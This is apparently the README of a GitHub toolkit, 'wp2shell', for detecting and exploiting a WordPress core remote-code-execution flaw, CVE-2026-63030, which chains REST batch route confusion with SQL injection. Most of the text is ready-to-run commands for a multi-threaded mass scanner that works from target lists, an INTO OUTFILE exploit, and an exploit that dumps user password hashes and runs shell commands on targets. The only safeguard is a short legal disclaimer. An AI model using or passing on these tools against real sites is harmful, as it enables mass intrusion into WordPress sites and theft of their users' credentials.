🔍 wp2shell - WordPress CVE-2026-63030 Vulnerability Scanner & Exploit

⚡ Fast, Real-time Vulnerability Scanner & Exploit for CVE-2026-63030 (wp2shell)

📌 Overview

wp2shell is a comprehensive toolkit for detecting and exploiting CVE-2026-63030, a critical vulnerability in WordPress that allows unauthenticated attackers to execute remote code via REST API batch route confusion combined with SQL injection.

🔍 What is CVE-2026-63030?

CVE-2026-63030 (wp2shell) is a critical vulnerability discovered by Adam Kues (Assetnote / Searchlight Cyber) that affects WordPress core. It combines two bugs:

1. GHSA-ff9f-jf42-662q - REST Batch Route Confusion
2. GHSA-fpp7-x2x2-2mjf - author__not_in SQL Injection

📊 Affected Versions

📦 Clone & Setup

# Clone repository
git clone https://github.com/Lutfifakee-Project/wp2shell.git
cd wp2shell

# No dependencies required - uses Python standard library only!
# Python 3.7+ required

🛠️ Tools Included

1️⃣ wp2shell_scanner.py - Fast Scanner

Multi-threaded real-time scanner for large-scale vulnerability detection.

# Basic scan
python wp2shell_scanner.py -f list.txt -o results.txt

# Skip SQLi test (faster)
python wp2shell_scanner.py -f list.txt -o results.txt --no-sqli-test

# JSON output
python wp2shell_scanner.py -f list.txt -j

2️⃣ wp2shell_intooutfile.py - INTO OUTFILE Exploit

Demonstrates the INTO OUTFILE RCE variant (requires MySQL FILE privilege).

# Single target
python3 wp2shell_intooutfile.py https://target.com

# Multiple targets
python3 wp2shell_intooutfile.py -f list.txt -t 10

3️⃣ wp2shell-exploit.py - Single-File Exploit

Portable, single-file version of the exploit with full functionality.

# Check vulnerability
python wp2shell-exploit.py check https://target.com

# Read users (extract password hashes)
python wp2shell-exploit.py read https://target.com --preset users

# Read fingerprint
python wp2shell-exploit.py read https://target.com --preset fingerprint

# Execute command (after cracking hash)
python wp2shell-exploit.py shell https://target.com --user admin --password "cracked" --cmd "id"

⚠️ Legal Disclaimer

IMPORTANT: This tool is for educational and authorized testing purposes only.

• Only use on systems you own or have explicit written permission to test.
• Unauthorized access to computer systems is illegal.
• The developers assume no responsibility for misuse of this software. Use responsibly and ethically.